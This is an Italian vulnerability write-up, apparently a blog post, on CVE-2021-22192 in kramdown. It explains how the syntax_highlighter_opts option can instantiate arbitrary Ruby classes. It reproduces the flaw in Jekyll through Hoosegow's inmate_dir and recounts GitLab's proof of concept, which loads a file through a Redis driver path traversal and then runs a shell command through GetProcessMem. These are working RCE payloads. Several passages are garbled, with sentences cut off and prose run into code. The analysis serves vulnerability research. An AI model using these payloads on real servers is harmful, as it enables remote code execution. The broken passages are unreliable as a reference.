
CVE-2021-22192
Quando ho iniziato ad analizzare questa vulnerabilità, avevo solo alcune preziose informazioni da lyy289065406 che mi hanno permesso di capire il problema centrale di questo bug. Sembra che l'errore risieda nella gem kramdown (<= 2.3.0), quindi ho iniziato a studiare kramdown per prima cosa.
Possiamo esaminare la patch di kramdown e notiamo la differenza nella funzione formatter_class all'interno del modulo Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) è stato trasformato in ::Rouge::Formatters.const_get(formatter, false)
La funzione const_get è ereditata dalla classe Object e può recuperare le costanti. Può persino restituire le classi già dichiarate che riesce a trovare. La differenza qui è solo l'aggiunta di un parametro false. L'aggiunta del parametro false impedisce a const_get di recuperare le costanti dalle classi madri o dai moduli.
C'è un dettaglio ancora più particolare: nella funzione self.call viene chiamata formatter_class e poi new(opts). Questo significa che il metodo recuperato tramite const_get viene passato al costruttore per essere istanziato.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Basandoci su Kramdown:Options possiamo chiamare la funzione Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Inoltre, nel modulo Kramdown:Options, la funzione simple_hash_validator chiama YAML.safe_load(val). Quindi possiamo configurare un file YML per passare il payload desiderato a Kramdown::Converter::SyntaxHighlighter::Rouge.
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Prima di tutto devo preparare jekyll:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock portando la versione di kramdown a <= 2.3.0cd jekyllTest
File Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Così abbiamo finito di creare una pagina jekyll. Ora possiamo inserire il payload per vedere se Kramdown::Converter::SyntaxHighlighter::Rouge.call riesce davvero a chiamare un metodo.
possiamo aggiungere al file ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Oppure usare un documento kramdown aggiungendo il payload in ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Qui ho usato il secondo metodo =)))))
- procediamo a deployare la pagina jekyll
bundle exec jekyll serve
*potreste incontrare l'errore "`require': cannot load such file -- webrick (LoadError)`; in tal caso dovete aggiungere `gem "webrick"` al Gemfile*
- Vediamo il messaggio di errore `private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:`. Questo dimostra che la classe CSV è stata chiamata.
#### Il passo successivo è determinare quale metodo scegliere affinché la chiamata al costruttore possa causare una RCE?
Secondo un articolo di analisi [CVE-2020-10518](https://blog.csdn.net/smellycat000/article/details/109302520) che sfrutta il bug in kramdown per causare una RCE su GitHub, ho puntato alla classe Hoosegow:
- Vediamo che nella funzione `initialize` di Hoosegow viene chiamata `load_inmate_methods`
```ruby
def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods vediamo che chiama require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
Ma inmate_file viene creato concatenando @inmate_dir con 'inmate.rb'. Se riusciamo a chiamare questa classe e a modificare il parametro inmate_dir impostandolo sul percorso del nostro file payload, non è proprio lì che avviene la RCE?
Ho eseguito uno script nella directory della pagina jekyll per verificare i metodi definiti:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" al Gemfile e lo script ha trovato la classe. [Hehe]Hoosegow tramite kramdown per vedere cosa succede{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Sono rimasto bloccato qui per una settimana. Sì, ho perso una settimana per questo. Continuavo a girarmi attorno alla domanda: "Perché nel bundler la classe Hoosegow c'è, ma quando la chiamo da kramdown non funziona? Dovrebbe funzionare, no ???"
Ho pensato: "Se è dichiarato nel Gemfile, allora la classe dovrebbe essere già nel classpath. Quindi, se il programma non trova ancora 'Hoosegow', sicuramente non è stato caricato...". Allora qual è il modo di dichiarare una gem in modo che, all'avvio, jekyll carichi la gem prima di elaborare il resto della directory sorgente?
Ho letto la documentazione di jekyll e ho trovato jekyll_plugins. Dichiararla nel Gemfile così non basta: bisogna dichiarare la gem nel gruppo jekyll_plugins per farla funzionare :( perché quando una gem è dichiarata in jekyll_plugins viene caricata in ogni caso prima che jekyll elabori le altre sorgenti. Anche quando jekyll viene eseguito in safe mode.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
inmate.rb in C:/ e ho eseguito il payload:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb è stato chiamato. Quindi sembra che siamo quasi riusciti a riprodurre la PoC, vero.
inmate.rb sul server di Gitlab e a sapere dove si trova il file inmate.rb appena caricato?before_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml. Ho provato a spiegarmelo in vari modi: "Forse c'è un meccanismo che scansiona il file .yml prima che venga caricato?",... ma nessuna di queste mi convinceva...
Ho cercato un altro vettore di input: le wiki page. La wiki page consente di usare il formato kramdown, quindi ho sospettato e ho provato a testare, ma senza risultati, perché ho inserito il payload solo nel file predefinito '*.md', e il file '*.md' ha la funzionalità necessaria limitata, quindi ho abbandonato questa strada :(
A questo punto ho dovuto fermarmi e aspettare che la PoC fosse pubblicata, per dedicare tempo ad altre ricerche.
Un bel giorno la PoC è stata pubblicata. Dopo averla letta, la sensazione di essere un pivello è risorta in modo prepotente, inutile dirlo =)).
Il problema centrale stava in kramdown e l'avevamo individuato, ma la strada per arrivarci su Gitlab era un po' penosa =)
L'autore ha scoperto che caricando una wiki page con un file '*.rmd' il programma chiama render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. In questo modo il file '*.rmd' viene renderizzato con kramdown.
L'autore ha caricato il suo file '.rmd' clonando la wiki page in locale e poi usando git per pushare la wiki page (incluso il file '.rmd') su Gitlab.
L'autore ha usato la classe Redis (già dichiarata nel progetto Gitlab, quindi possiamo chiamare e usare questa classe) per eseguire il suo payload.
Quando si inizializza la classe Redis, se esiste l'opzione driver, il programma chiama la funzione _parse_driver. Qui il programma esegue require "connection/#{driver}": possiamo agire sulla variabile driver per fare in modo che il programma chiami il file payload caricato sul server.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippet, un attaccante può caricare un payload Ruby tramite Attach a file.Usando il percorso da kramdown per chiamare la classe Redis, prima l'autore importa la gem get_process_mem con il payload
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
Poi usa di nuovo la gem get_process_mem importata in precedenza per ottenere la RCE
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
Quindi, senza dover trovare l'indirizzo del file payload, un attaccante può comunque ottenere una RCE sul server Gitlab.
Ref: